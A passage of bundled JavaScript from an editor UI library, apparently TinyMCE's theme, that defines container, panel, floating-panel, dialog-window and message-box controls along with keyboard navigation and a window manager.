        case 38:
          handleNonTabOrEscEvent(e, up);
          break;
        case 40:
          handleNonTabOrEscEvent(e, down);
          break;
        case 27:
          cancel();
          break;
        case 14:
        case 13:
        case 32:
          handleNonTabOrEscEvent(e, enter);
          break;
        case 9:
          tab(e);
          e.preventDefault();
          break;
        }
      });
      root.on('focusin', function (e) {
        focusedElement = e.target;
        focusedControl = e.control;
      });
      return { focusFirst: focusFirst };
    }

    var selectorCache = {};
    var Container = Control$1.extend({
      init: function (settings) {
        var self = this;
        self._super(settings);
        settings = self.settings;
        if (settings.fixed) {
          self.state.set('fixed', true);
        }
        self._items = new Collection$2();
        if (self.isRtl()) {
          self.classes.add('rtl');
        }
        self.bodyClasses = new ClassList(function () {
          if (self.state.get('rendered')) {
            self.getEl('body').className = this.toString();
          }
        });
        self.bodyClasses.prefix = self.classPrefix;
        self.classes.add('container');
        self.bodyClasses.add('container-body');
        if (settings.containerCls) {
          self.classes.add(settings.containerCls);
        }
        self._layout = global$b.create((settings.layout || '') + 'layout');
        if (self.settings.items) {
          self.add(self.settings.items);
        } else {
          self.add(self.render());
        }
        self._hasBody = true;
      },
      items: function () {
        return this._items;
      },
      find: function (selector) {
        selector = selectorCache[selector] = selectorCache[selector] || new Selector(selector);
        return selector.find(this);
      },
      add: function (items) {
        var self = this;
        self.items().add(self.create(items)).parent(self);
        return self;
      },
      focus: function (keyboard) {
        var self = this;
        var focusCtrl, keyboardNav, items;
        if (keyboard) {
          keyboardNav = self.keyboardNav || self.parents().eq(-1)[0].keyboardNav;
          if (keyboardNav) {
            keyboardNav.focusFirst(self);
            return;
          }
        }
        items = self.find('*');
        if (self.statusbar) {
          items.add(self.statusbar.items());
        }
        items.each(function (ctrl) {
          if (ctrl.settings.autofocus) {
            focusCtrl = null;
            return false;
          }
          if (ctrl.canFocus) {
            focusCtrl = focusCtrl || ctrl;
          }
        });
        if (focusCtrl) {
          focusCtrl.focus();
        }
        return self;
      },
      replace: function (oldItem, newItem) {
        var ctrlElm;
        var items = this.items();
        var i = items.length;
        while (i--) {
          if (items[i] === oldItem) {
            items[i] = newItem;
            break;
          }
        }
        if (i >= 0) {
          ctrlElm = newItem.getEl();
          if (ctrlElm) {
            ctrlElm.parentNode.removeChild(ctrlElm);
          }
          ctrlElm = oldItem.getEl();
          if (ctrlElm) {
            ctrlElm.parentNode.removeChild(ctrlElm);
          }
        }
        newItem.parent(this);
      },
      create: function (items) {
        var self = this;
        var settings;
        var ctrlItems = [];
        if (!global$4.isArray(items)) {
          items = [items];
        }
        global$4.each(items, function (item) {
          if (item) {
            if (!(item instanceof Control$1)) {
              if (typeof item === 'string') {
                item = { type: item };
              }
              settings = global$4.extend({}, self.settings.defaults, item);
              item.type = settings.type = settings.type || item.type || self.settings.defaultType || (settings.defaults ? settings.defaults.type : null);
              item = global$b.create(settings);
            }
            ctrlItems.push(item);
          }
        });
        return ctrlItems;
      },
      renderNew: function () {
        var self = this;
        self.items().each(function (ctrl, index) {
          var containerElm;
          ctrl.parent(self);
          if (!ctrl.state.get('rendered')) {
            containerElm = self.getEl('body');
            if (containerElm.hasChildNodes() && index <= containerElm.childNodes.length - 1) {
              global$7(containerElm.childNodes[index]).before(ctrl.renderHtml());
            } else {
              global$7(containerElm).append(ctrl.renderHtml());
            }
            ctrl.postRender();
            ReflowQueue.add(ctrl);
          }
        });
        self._layout.applyClasses(self.items().filter(':visible'));
        self._lastRect = null;
        return self;
      },
      append: function (items) {
        return this.add(items).renderNew();
      },
      prepend: function (items) {
        var self = this;
        self.items().set(self.create(items).concat(self.items().toArray()));
        return self.renderNew();
      },
      insert: function (items, index, before) {
        var self = this;
        var curItems, beforeItems, afterItems;
        items = self.create(items);
        curItems = self.items();
        if (!before && index < curItems.length - 1) {
          index += 1;
        }
        if (index >= 0 && index < curItems.length) {
          beforeItems = curItems.slice(0, index).toArray();
          afterItems = curItems.slice(index).toArray();
          curItems.set(beforeItems.concat(items, afterItems));
        }
        return self.renderNew();
      },
      fromJSON: function (data) {
        var self = this;
        for (var name in data) {
          self.find('#' + name).value(data[name]);
        }
        return self;
      },
      toJSON: function () {
        var self = this, data = {};
        self.find('*').each(function (ctrl) {
          var name = ctrl.name(), value = ctrl.value();
          if (name && typeof value !== 'undefined') {
            data[name] = value;
          }
        });
        return data;
      },
      renderHtml: function () {
        var self = this, layout = self._layout, role = this.settings.role;
        self.preRender();
        layout.preRender(self);
        return '<div id="' + self._id + '" class="' + self.classes + '"' + (role ? ' role="' + this.settings.role + '"' : '') + '>' + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</div>';
      },
      postRender: function () {
        var self = this;
        var box;
        self.items().exec('postRender');
        self._super();
        self._layout.postRender(self);
        self.state.set('rendered', true);
        if (self.settings.style) {
          self.$el.css(self.settings.style);
        }
        if (self.settings.border) {
          box = self.borderBox;
          self.$el.css({
            'border-top-width': box.top,
            'border-right-width': box.right,
            'border-bottom-width': box.bottom,
            'border-left-width': box.left
          });
        }
        if (!self.parent()) {
          self.keyboardNav = KeyboardNavigation({ root: self });
        }
        return self;
      },
      initLayoutRect: function () {
        var self = this, layoutRect = self._super();
        self._layout.recalc(self);
        return layoutRect;
      },
      recalc: function () {
        var self = this;
        var rect = self._layoutRect;
        var lastRect = self._lastRect;
        if (!lastRect || lastRect.w !== rect.w || lastRect.h !== rect.h) {
          self._layout.recalc(self);
          rect = self.layoutRect();
          self._lastRect = {
            x: rect.x,
            y: rect.y,
            w: rect.w,
            h: rect.h
          };
          return true;
        }
      },
      reflow: function () {
        var i;
        ReflowQueue.remove(this);
        if (this.visible()) {
          Control$1.repaintControls = [];
          Control$1.repaintControls.map = {};
          this.recalc();
          i = Control$1.repaintControls.length;
          while (i--) {
            Control$1.repaintControls[i].repaint();
          }
          if (this.settings.layout !== 'flow' && this.settings.layout !== 'stack') {
            this.repaint();
          }
          Control$1.repaintControls = [];
        }
        return this;
      }
    });

    var Scrollable = {
      init: function () {
        var self = this;
        self.on('repaint', self.renderScroll);
      },
      renderScroll: function () {
        var self = this, margin = 2;
        function repaintScroll() {
          var hasScrollH, hasScrollV, bodyElm;
          function repaintAxis(axisName, posName, sizeName, contentSizeName, hasScroll, ax) {
            var containerElm, scrollBarElm, scrollThumbElm;
            var containerSize, scrollSize, ratio, rect;
            var posNameLower, sizeNameLower;
            scrollBarElm = self.getEl('scroll' + axisName);
            if (scrollBarElm) {
              posNameLower = posName.toLowerCase();
              sizeNameLower = sizeName.toLowerCase();
              global$7(self.getEl('absend')).css(posNameLower, self.layoutRect()[contentSizeName] - 1);
              if (!hasScroll) {
                global$7(scrollBarElm).css('display', 'none');
                return;
              }
              global$7(scrollBarElm).css('display', 'block');
              containerElm = self.getEl('body');
              scrollThumbElm = self.getEl('scroll' + axisName + 't');
              containerSize = containerElm['client' + sizeName] - margin * 2;
              containerSize -= hasScrollH && hasScrollV ? scrollBarElm['client' + ax] : 0;
              scrollSize = containerElm['scroll' + sizeName];
              ratio = containerSize / scrollSize;
              rect = {};
              rect[posNameLower] = containerElm['offset' + posName] + margin;
              rect[sizeNameLower] = containerSize;
              global$7(scrollBarElm).css(rect);
              rect = {};
              rect[posNameLower] = containerElm['scroll' + posName] * ratio;
              rect[sizeNameLower] = containerSize * ratio;
              global$7(scrollThumbElm).css(rect);
            }
          }
          bodyElm = self.getEl('body');
          hasScrollH = bodyElm.scrollWidth > bodyElm.clientWidth;
          hasScrollV = bodyElm.scrollHeight > bodyElm.clientHeight;
          repaintAxis('h', 'Left', 'Width', 'contentW', hasScrollH, 'Height');
          repaintAxis('v', 'Top', 'Height', 'contentH', hasScrollV, 'Width');
        }
        function addScroll() {
          function addScrollAxis(axisName, posName, sizeName, deltaPosName, ax) {
            var scrollStart;
            var axisId = self._id + '-scroll' + axisName, prefix = self.classPrefix;
            global$7(self.getEl()).append('<div id="' + axisId + '" class="' + prefix + 'scrollbar ' + prefix + 'scrollbar-' + axisName + '">' + '<div id="' + axisId + 't" class="' + prefix + 'scrollbar-thumb"></div>' + '</div>');
            self.draghelper = new DragHelper(axisId + 't', {
              start: function () {
                scrollStart = self.getEl('body')['scroll' + posName];
                global$7('#' + axisId).addClass(prefix + 'active');
              },
              drag: function (e) {
                var ratio, hasScrollH, hasScrollV, containerSize;
                var layoutRect = self.layoutRect();
                hasScrollH = layoutRect.contentW > layoutRect.innerW;
                hasScrollV = layoutRect.contentH > layoutRect.innerH;
                containerSize = self.getEl('body')['client' + sizeName] - margin * 2;
                containerSize -= hasScrollH && hasScrollV ? self.getEl('scroll' + axisName)['client' + ax] : 0;
                ratio = containerSize / self.getEl('body')['scroll' + sizeName];
                self.getEl('body')['scroll' + posName] = scrollStart + e['delta' + deltaPosName] / ratio;
              },
              stop: function () {
                global$7('#' + axisId).removeClass(prefix + 'active');
              }
            });
          }
          self.classes.add('scroll');
          addScrollAxis('v', 'Top', 'Height', 'Y', 'Width');
          addScrollAxis('h', 'Left', 'Width', 'X', 'Height');
        }
        if (self.settings.autoScroll) {
          if (!self._hasScroll) {
            self._hasScroll = true;
            addScroll();
            self.on('wheel', function (e) {
              var bodyEl = self.getEl('body');
              bodyEl.scrollLeft += (e.deltaX || 0) * 10;
              bodyEl.scrollTop += e.deltaY * 10;
              repaintScroll();
            });
            global$7(self.getEl('body')).on('scroll', repaintScroll);
          }
          repaintScroll();
        }
      }
    };

    var Panel = Container.extend({
      Defaults: {
        layout: 'fit',
        containerCls: 'panel'
      },
      Mixins: [Scrollable],
      renderHtml: function () {
        var self = this;
        var layout = self._layout;
        var innerHtml = self.settings.html;
        self.preRender();
        layout.preRender(self);
        if (typeof innerHtml === 'undefined') {
          innerHtml = '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + layout.renderHtml(self) + '</div>';
        } else {
          if (typeof innerHtml === 'function') {
            innerHtml = innerHtml.call(self);
          }
          self._hasBody = false;
        }
        return '<div id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1" role="group">' + (self._preBodyHtml || '') + innerHtml + '</div>';
      }
    });

    var Resizable = {
      resizeToContent: function () {
        this._layoutRect.autoResize = true;
        this._lastRect = null;
        this.reflow();
      },
      resizeTo: function (w, h) {
        if (w <= 1 || h <= 1) {
          var rect = funcs.getWindowSize();
          w = w <= 1 ? w * rect.w : w;
          h = h <= 1 ? h * rect.h : h;
        }
        this._layoutRect.autoResize = false;
        return this.layoutRect({
          minW: w,
          minH: h,
          w: w,
          h: h
        }).reflow();
      },
      resizeBy: function (dw, dh) {
        var self = this, rect = self.layoutRect();
        return self.resizeTo(rect.w + dw, rect.h + dh);
      }
    };

    var documentClickHandler, documentScrollHandler, windowResizeHandler;
    var visiblePanels = [];
    var zOrder = [];
    var hasModal;
    function isChildOf(ctrl, parent) {
      while (ctrl) {
        if (ctrl === parent) {
          return true;
        }
        ctrl = ctrl.parent();
      }
    }
    function skipOrHidePanels(e) {
      var i = visiblePanels.length;
      while (i--) {
        var panel = visiblePanels[i], clickCtrl = panel.getParentCtrl(e.target);
        if (panel.settings.autohide) {
          if (clickCtrl) {
            if (isChildOf(clickCtrl, panel) || panel.parent() === clickCtrl) {
              continue;
            }
          }
          e = panel.fire('autohide', { target: e.target });
          if (!e.isDefaultPrevented()) {
            panel.hide();
          }
        }
      }
    }
    function bindDocumentClickHandler() {
      if (!documentClickHandler) {
        documentClickHandler = function (e) {
          if (e.button === 2) {
            return;
          }
          skipOrHidePanels(e);
        };
        global$7(domGlobals.document).on('click touchstart', documentClickHandler);
      }
    }
    function bindDocumentScrollHandler() {
      if (!documentScrollHandler) {
        documentScrollHandler = function () {
          var i;
          i = visiblePanels.length;
          while (i--) {
            repositionPanel$1(visiblePanels[i]);
          }
        };
        global$7(domGlobals.window).on('scroll', documentScrollHandler);
      }
    }
    function bindWindowResizeHandler() {
      if (!windowResizeHandler) {
        var docElm_1 = domGlobals.document.documentElement;
        var clientWidth_1 = docElm_1.clientWidth, clientHeight_1 = docElm_1.clientHeight;
        windowResizeHandler = function () {
          if (!domGlobals.document.all || clientWidth_1 !== docElm_1.clientWidth || clientHeight_1 !== docElm_1.clientHeight) {
            clientWidth_1 = docElm_1.clientWidth;
            clientHeight_1 = docElm_1.clientHeight;
            FloatPanel.hideAll();
          }
        };
        global$7(domGlobals.window).on('resize', windowResizeHandler);
      }
    }
    function repositionPanel$1(panel) {
      var scrollY = funcs.getViewPort().y;
      function toggleFixedChildPanels(fixed, deltaY) {
        var parent;
        for (var i = 0; i < visiblePanels.length; i++) {
          if (visiblePanels[i] !== panel) {
            parent = visiblePanels[i].parent();
            while (parent && (parent = parent.parent())) {
              if (parent === panel) {
                visiblePanels[i].fixed(fixed).moveBy(0, deltaY).repaint();
              }
            }
          }
        }
      }
      if (panel.settings.autofix) {
        if (!panel.state.get('fixed')) {
          panel._autoFixY = panel.layoutRect().y;
          if (panel._autoFixY < scrollY) {
            panel.fixed(true).layoutRect({ y: 0 }).repaint();
            toggleFixedChildPanels(true, scrollY - panel._autoFixY);
          }
        } else {
          if (panel._autoFixY > scrollY) {
            panel.fixed(false).layoutRect({ y: panel._autoFixY }).repaint();
            toggleFixedChildPanels(false, panel._autoFixY - scrollY);
          }
        }
      }
    }
    function addRemove(add, ctrl) {
      var i, zIndex = FloatPanel.zIndex || 65535, topModal;
      if (add) {
        zOrder.push(ctrl);
      } else {
        i = zOrder.length;
        while (i--) {
          if (zOrder[i] === ctrl) {
            zOrder.splice(i, 1);
          }
        }
      }
      if (zOrder.length) {
        for (i = 0; i < zOrder.length; i++) {
          if (zOrder[i].modal) {
            zIndex++;
            topModal = zOrder[i];
          }
          zOrder[i].getEl().style.zIndex = zIndex;
          zOrder[i].zIndex = zIndex;
          zIndex++;
        }
      }
      var modalBlockEl = global$7('#' + ctrl.classPrefix + 'modal-block', ctrl.getContainerElm())[0];
      if (topModal) {
        global$7(modalBlockEl).css('z-index', topModal.zIndex - 1);
      } else if (modalBlockEl) {
        modalBlockEl.parentNode.removeChild(modalBlockEl);
        hasModal = false;
      }
      FloatPanel.currentZIndex = zIndex;
    }
    var FloatPanel = Panel.extend({
      Mixins: [
        Movable,
        Resizable
      ],
      init: function (settings) {
        var self = this;
        self._super(settings);
        self._eventsRoot = self;
        self.classes.add('floatpanel');
        if (settings.autohide) {
          bindDocumentClickHandler();
          bindWindowResizeHandler();
          visiblePanels.push(self);
        }
        if (settings.autofix) {
          bindDocumentScrollHandler();
          self.on('move', function () {
            repositionPanel$1(this);
          });
        }
        self.on('postrender show', function (e) {
          if (e.control === self) {
            var $modalBlockEl_1;
            var prefix_1 = self.classPrefix;
            if (self.modal && !hasModal) {
              $modalBlockEl_1 = global$7('#' + prefix_1 + 'modal-block', self.getContainerElm());
              if (!$modalBlockEl_1[0]) {
                $modalBlockEl_1 = global$7('<div id="' + prefix_1 + 'modal-block" class="' + prefix_1 + 'reset ' + prefix_1 + 'fade"></div>').appendTo(self.getContainerElm());
              }
              global$3.setTimeout(function () {
                $modalBlockEl_1.addClass(prefix_1 + 'in');
                global$7(self.getEl()).addClass(prefix_1 + 'in');
              });
              hasModal = true;
            }
            addRemove(true, self);
          }
        });
        self.on('show', function () {
          self.parents().each(function (ctrl) {
            if (ctrl.state.get('fixed')) {
              self.fixed(true);
              return false;
            }
          });
        });
        if (settings.popover) {
          self._preBodyHtml = '<div class="' + self.classPrefix + 'arrow"></div>';
          self.classes.add('popover').add('bottom').add(self.isRtl() ? 'end' : 'start');
        }
        self.aria('label', settings.ariaLabel);
        self.aria('labelledby', self._id);
        self.aria('describedby', self.describedBy || self._id + '-none');
      },
      fixed: function (state) {
        var self = this;
        if (self.state.get('fixed') !== state) {
          if (self.state.get('rendered')) {
            var viewport = funcs.getViewPort();
            if (state) {
              self.layoutRect().y -= viewport.y;
            } else {
              self.layoutRect().y += viewport.y;
            }
          }
          self.classes.toggle('fixed', state);
          self.state.set('fixed', state);
        }
        return self;
      },
      show: function () {
        var self = this;
        var i;
        var state = self._super();
        i = visiblePanels.length;
        while (i--) {
          if (visiblePanels[i] === self) {
            break;
          }
        }
        if (i === -1) {
          visiblePanels.push(self);
        }
        return state;
      },
      hide: function () {
        removeVisiblePanel(this);
        addRemove(false, this);
        return this._super();
      },
      hideAll: function () {
        FloatPanel.hideAll();
      },
      close: function () {
        var self = this;
        if (!self.fire('close').isDefaultPrevented()) {
          self.remove();
          addRemove(false, self);
        }
        return self;
      },
      remove: function () {
        removeVisiblePanel(this);
        this._super();
      },
      postRender: function () {
        var self = this;
        if (self.settings.bodyRole) {
          this.getEl('body').setAttribute('role', self.settings.bodyRole);
        }
        return self._super();
      }
    });
    FloatPanel.hideAll = function () {
      var i = visiblePanels.length;
      while (i--) {
        var panel = visiblePanels[i];
        if (panel && panel.settings.autohide) {
          panel.hide();
          visiblePanels.splice(i, 1);
        }
      }
    };
    function removeVisiblePanel(panel) {
      var i;
      i = visiblePanels.length;
      while (i--) {
        if (visiblePanels[i] === panel) {
          visiblePanels.splice(i, 1);
        }
      }
      i = zOrder.length;
      while (i--) {
        if (zOrder[i] === panel) {
          zOrder.splice(i, 1);
        }
      }
    }

    var windows = [];
    var oldMetaValue = '';
    function toggleFullScreenState(state) {
      var noScaleMetaValue = 'width=device-width,initial-scale=1.0,user-scalable=0,minimum-scale=1.0,maximum-scale=1.0';
      var viewport = global$7('meta[name=viewport]')[0], contentValue;
      if (global$1.overrideViewPort === false) {
        return;
      }
      if (!viewport) {
        viewport = domGlobals.document.createElement('meta');
        viewport.setAttribute('name', 'viewport');
        domGlobals.document.getElementsByTagName('head')[0].appendChild(viewport);
      }
      contentValue = viewport.getAttribute('content');
      if (contentValue && typeof oldMetaValue !== 'undefined') {
        oldMetaValue = contentValue;
      }
      viewport.setAttribute('content', state ? noScaleMetaValue : oldMetaValue);
    }
    function toggleBodyFullScreenClasses(classPrefix, state) {
      if (checkFullscreenWindows() && state === false) {
        global$7([
          domGlobals.document.documentElement,
          domGlobals.document.body
        ]).removeClass(classPrefix + 'fullscreen');
      }
    }
    function checkFullscreenWindows() {
      for (var i = 0; i < windows.length; i++) {
        if (windows[i]._fullscreen) {
          return true;
        }
      }
      return false;
    }
    function handleWindowResize() {
      if (!global$1.desktop) {
        var lastSize_1 = {
          w: domGlobals.window.innerWidth,
          h: domGlobals.window.innerHeight
        };
        global$3.setInterval(function () {
          var w = domGlobals.window.innerWidth, h = domGlobals.window.innerHeight;
          if (lastSize_1.w !== w || lastSize_1.h !== h) {
            lastSize_1 = {
              w: w,
              h: h
            };
            global$7(domGlobals.window).trigger('resize');
          }
        }, 100);
      }
      function reposition() {
        var i;
        var rect = funcs.getWindowSize();
        var layoutRect;
        for (i = 0; i < windows.length; i++) {
          layoutRect = windows[i].layoutRect();
          windows[i].moveTo(windows[i].settings.x || Math.max(0, rect.w / 2 - layoutRect.w / 2), windows[i].settings.y || Math.max(0, rect.h / 2 - layoutRect.h / 2));
        }
      }
      global$7(domGlobals.window).on('resize', reposition);
    }
    var Window = FloatPanel.extend({
      modal: true,
      Defaults: {
        border: 1,
        layout: 'flex',
        containerCls: 'panel',
        role: 'dialog',
        callbacks: {
          submit: function () {
            this.fire('submit', { data: this.toJSON() });
          },
          close: function () {
            this.close();
          }
        }
      },
      init: function (settings) {
        var self = this;
        self._super(settings);
        if (self.isRtl()) {
          self.classes.add('rtl');
        }
        self.classes.add('window');
        self.bodyClasses.add('window-body');
        self.state.set('fixed', true);
        if (settings.buttons) {
          self.statusbar = new Panel({
            layout: 'flex',
            border: '1 0 0 0',
            spacing: 3,
            padding: 10,
            align: 'center',
            pack: self.isRtl() ? 'start' : 'end',
            defaults: { type: 'button' },
            items: settings.buttons
          });
          self.statusbar.classes.add('foot');
          self.statusbar.parent(self);
        }
        self.on('click', function (e) {
          var closeClass = self.classPrefix + 'close';
          if (funcs.hasClass(e.target, closeClass) || funcs.hasClass(e.target.parentNode, closeClass)) {
            self.close();
          }
        });
        self.on('cancel', function () {
          self.close();
        });
        self.on('move', function (e) {
          if (e.control === self) {
            FloatPanel.hideAll();
          }
        });
        self.aria('describedby', self.describedBy || self._id + '-none');
        self.aria('label', settings.title);
        self._fullscreen = false;
      },
      recalc: function () {
        var self = this;
        var statusbar = self.statusbar;
        var layoutRect, width, x, needsRecalc;
        if (self._fullscreen) {
          self.layoutRect(funcs.getWindowSize());
          self.layoutRect().contentH = self.layoutRect().innerH;
        }
        self._super();
        layoutRect = self.layoutRect();
        if (self.settings.title && !self._fullscreen) {
          width = layoutRect.headerW;
          if (width > layoutRect.w) {
            x = layoutRect.x - Math.max(0, width / 2);
            self.layoutRect({
              w: width,
              x: x
            });
            needsRecalc = true;
          }
        }
        if (statusbar) {
          statusbar.layoutRect({ w: self.layoutRect().innerW }).recalc();
          width = statusbar.layoutRect().minW + layoutRect.deltaW;
          if (width > layoutRect.w) {
            x = layoutRect.x - Math.max(0, width - layoutRect.w);
            self.layoutRect({
              w: width,
              x: x
            });
            needsRecalc = true;
          }
        }
        if (needsRecalc) {
          self.recalc();
        }
      },
      initLayoutRect: function () {
        var self = this;
        var layoutRect = self._super();
        var deltaH = 0, headEl;
        if (self.settings.title && !self._fullscreen) {
          headEl = self.getEl('head');
          var size = funcs.getSize(headEl);
          layoutRect.headerW = size.width;
          layoutRect.headerH = size.height;
          deltaH += layoutRect.headerH;
        }
        if (self.statusbar) {
          deltaH += self.statusbar.layoutRect().h;
        }
        layoutRect.deltaH += deltaH;
        layoutRect.minH += deltaH;
        layoutRect.h += deltaH;
        var rect = funcs.getWindowSize();
        layoutRect.x = self.settings.x || Math.max(0, rect.w / 2 - layoutRect.w / 2);
        layoutRect.y = self.settings.y || Math.max(0, rect.h / 2 - layoutRect.h / 2);
        return layoutRect;
      },
      renderHtml: function () {
        var self = this, layout = self._layout, id = self._id, prefix = self.classPrefix;
        var settings = self.settings;
        var headerHtml = '', footerHtml = '', html = settings.html;
        self.preRender();
        layout.preRender(self);
        if (settings.title) {
          headerHtml = '<div id="' + id + '-head" class="' + prefix + 'window-head">' + '<div id="' + id + '-title" class="' + prefix + 'title">' + self.encode(settings.title) + '</div>' + '<div id="' + id + '-dragh" class="' + prefix + 'dragh"></div>' + '<button type="button" class="' + prefix + 'close" aria-hidden="true">' + '<i class="mce-ico mce-i-remove"></i>' + '</button>' + '</div>';
        }
        if (settings.url) {
          html = '<iframe src="' + settings.url + '" tabindex="-1"></iframe>';
        }
        if (typeof html === 'undefined') {
          html = layout.renderHtml(self);
        }
        if (self.statusbar) {
          footerHtml = self.statusbar.renderHtml();
        }
        return '<div id="' + id + '" class="' + self.classes + '" hidefocus="1">' + '<div class="' + self.classPrefix + 'reset" role="application">' + headerHtml + '<div id="' + id + '-body" class="' + self.bodyClasses + '">' + html + '</div>' + footerHtml + '</div>' + '</div>';
      },
      fullscreen: function (state) {
        var self = this;
        var documentElement = domGlobals.document.documentElement;
        var slowRendering;
        var prefix = self.classPrefix;
        var layoutRect;
        if (state !== self._fullscreen) {
          global$7(domGlobals.window).on('resize', function () {
            var time;
            if (self._fullscreen) {
              if (!slowRendering) {
                time = new Date().getTime();
                var rect = funcs.getWindowSize();
                self.moveTo(0, 0).resizeTo(rect.w, rect.h);
                if (new Date().getTime() - time > 50) {
                  slowRendering = true;
                }
              } else {
                if (!self._timer) {
                  self._timer = global$3.setTimeout(function () {
                    var rect = funcs.getWindowSize();
                    self.moveTo(0, 0).resizeTo(rect.w, rect.h);
                    self._timer = 0;
                  }, 50);
                }
              }
            }
          });
          layoutRect = self.layoutRect();
          self._fullscreen = state;
          if (!state) {
            self.borderBox = BoxUtils.parseBox(self.settings.border);
            self.getEl('head').style.display = '';
            layoutRect.deltaH += layoutRect.headerH;
            global$7([
              documentElement,
              domGlobals.document.body
            ]).removeClass(prefix + 'fullscreen');
            self.classes.remove('fullscreen');
            self.moveTo(self._initial.x, self._initial.y).resizeTo(self._initial.w, self._initial.h);
          } else {
            self._initial = {
              x: layoutRect.x,
              y: layoutRect.y,
              w: layoutRect.w,
              h: layoutRect.h
            };
            self.borderBox = BoxUtils.parseBox('0');
            self.getEl('head').style.display = 'none';
            layoutRect.deltaH -= layoutRect.headerH + 2;
            global$7([
              documentElement,
              domGlobals.document.body
            ]).addClass(prefix + 'fullscreen');
            self.classes.add('fullscreen');
            var rect = funcs.getWindowSize();
            self.moveTo(0, 0).resizeTo(rect.w, rect.h);
          }
        }
        return self.reflow();
      },
      postRender: function () {
        var self = this;
        var startPos;
        setTimeout(function () {
          self.classes.add('in');
          self.fire('open');
        }, 0);
        self._super();
        if (self.statusbar) {
          self.statusbar.postRender();
        }
        self.focus();
        this.dragHelper = new DragHelper(self._id + '-dragh', {
          start: function () {
            startPos = {
              x: self.layoutRect().x,
              y: self.layoutRect().y
            };
          },
          drag: function (e) {
            self.moveTo(startPos.x + e.deltaX, startPos.y + e.deltaY);
          }
        });
        self.on('submit', function (e) {
          if (!e.isDefaultPrevented()) {
            self.close();
          }
        });
        windows.push(self);
        toggleFullScreenState(true);
      },
      submit: function () {
        return this.fire('submit', { data: this.toJSON() });
      },
      remove: function () {
        var self = this;
        var i;
        self.dragHelper.destroy();
        self._super();
        if (self.statusbar) {
          this.statusbar.remove();
        }
        toggleBodyFullScreenClasses(self.classPrefix, false);
        i = windows.length;
        while (i--) {
          if (windows[i] === self) {
            windows.splice(i, 1);
          }
        }
        toggleFullScreenState(windows.length > 0);
      },
      getContentWindow: function () {
        var ifr = this.getEl().getElementsByTagName('iframe')[0];
        return ifr ? ifr.contentWindow : null;
      }
    });
    handleWindowResize();

    var MessageBox = Window.extend({
      init: function (settings) {
        settings = {
          border: 1,
          padding: 20,
          layout: 'flex',
          pack: 'center',
          align: 'center',
          containerCls: 'panel',
          autoScroll: true,
          buttons: {
            type: 'button',
            text: 'Ok',
            action: 'ok'
          },
          items: {
            type: 'label',
            multiline: true,
            maxWidth: 500,
            maxHeight: 200
          }
        };
        this._super(settings);
      },
      Statics: {
        OK: 1,
        OK_CANCEL: 2,
        YES_NO: 3,
        YES_NO_CANCEL: 4,
        msgBox: function (settings) {
          var buttons;
          var callback = settings.callback || function () {
          };
          function createButton(text, status, primary) {
            return {
              type: 'button',
              text: text,
              subtype: primary ? 'primary' : '',
              onClick: function (e) {
                e.control.parents()[1].close();
                callback(status);
              }
            };
          }
          switch (settings.buttons) {
          case MessageBox.OK_CANCEL:
            buttons = [
              createButton('Ok', true, true),
              createButton('Cancel', false)
            ];
            break;
          case MessageBox.YES_NO:
          case MessageBox.YES_NO_CANCEL:
            buttons = [
              createButton('Yes', 1, true),
              createButton('No', 0)
            ];
            if (settings.buttons === MessageBox.YES_NO_CANCEL) {
              buttons.push(createButton('Cancel', -1));
            }
            break;
          default:
            buttons = [createButton('Ok', true, true)];
            break;
          }
          return new Window({
            padding: 20,
            x: settings.x,
            y: settings.y,
            minWidth: 300,
            minHeight: 100,
            layout: 'flex',
            pack: 'center',
            align: 'center',
            buttons: buttons,
            title: settings.title,
            role: 'alertdialog',
            items: {
              type: 'label',
              multiline: true,
              maxWidth: 500,
              maxHeight: 200,
              text: settings.text
            },
            onPostRender: function () {
              this.aria('describedby', this.items()[0]._id);
            },
            onClose: settings.onClose,
            onCancel: function () {
              callback(false);
            }
          }).renderTo(domGlobals.document.body).reflow();
        },
        alert: function (settings, callback) {
          if (typeof settings === 'string') {
            settings = { text: settings };
          }
          settings.callback = callback;
          return MessageBox.msgBox(settings);
        },
        confirm: function (settings, callback) {
          if (typeof settings === 'string') {
            settings = { text: settings };
          }
          settings.callback = callback;
          settings.buttons = MessageBox.OK_CANCEL;
          return MessageBox.msgBox(settings);
        }
      }
    });

    function WindowManagerImpl (editor) {
      var open = function (args, params, closeCallback) {
        var win;
        args.title = args.title || ' ';
        args.url = args.url || args.file;
        if (args.url) {
          args.width = parseInt(args.width || 320, 10);
          args.height = parseInt(args.height || 240, 10);
        }
        if (args.body) {
          args.items = {
            defaults: args.defaults,
            type: args.bodyType || 'form',
            items: args.body,
            data: args.data,
            callbacks: args.commands
          };
        }
        if (!args.url && !args.buttons) {
          args.buttons = [
            {
              text: 'Ok',
              subtype: 'primary',
              onclick: function () {
                win.find('form')[0].submit();
              }
            },
            {
              text: 'Cancel',
              onclick: function () {
                win.close();
              }
            }
          ];
        }
        win = new Window(args);
        win.on('close', function () {
          closeCallback(win);
        });
        if (args.data) {
          win.on('postRender', function () {
            this.find('*').each(function (ctrl) {
              var name = ctrl.name();
              if (name in args.data) {
                ctrl.value(args.data[name]);
              }
            });
          });
        }
        win.features = args || {};
        win.params = params || {};
        win = win.renderTo(domGlobals.document.body).reflow();
        return win;
      };
      var alert = function (message, choiceCallback, closeCallback) {
        var win;
        win = MessageBox.alert(message, function () {
          choiceCallback();
        });
        win.on('close', function () {
          closeCallback(win);
        });
        return win;
      };
      var confirm = function (message, choiceCallback, closeCallback) {
        var win;
        win = MessageBox.confirm(message, function (state) {
          choiceCallback(state);
        });
        win.on('close', function () {
          closeCallback(win);
        });
        return win;
      };
      var close = function (window) {
        window.close();
      };
      var getParams = function (window) {
        return window.params;
      };
      var setParams = function (window, params) {
        window.params = params;
      };
      return {
        open: open,
        alert: alert,
        confirm: confirm,
        close: close,
        getParams: getParams,
        setParams: setParams
      };
    }

    var get = function (editor, panel) {
      var renderUI = function () {
        return Render.renderUI(editor, panel);
      };
      return {
        renderUI: renderUI,
        getNotificationManagerImpl: function () {
          return NotificationManagerImpl(editor);
        },
        getWindowManagerImpl: function () {
          return WindowManagerImpl();
        }
      };
    };
    var ThemeApi = { get: get };

    var Global = typeof domGlobals.window !== 'undefined' ? domGlobals.window : Function('return this;')();

    var path = function (parts, scope) {
      var o = scope !== undefined && scope !== null ? scope : Global;
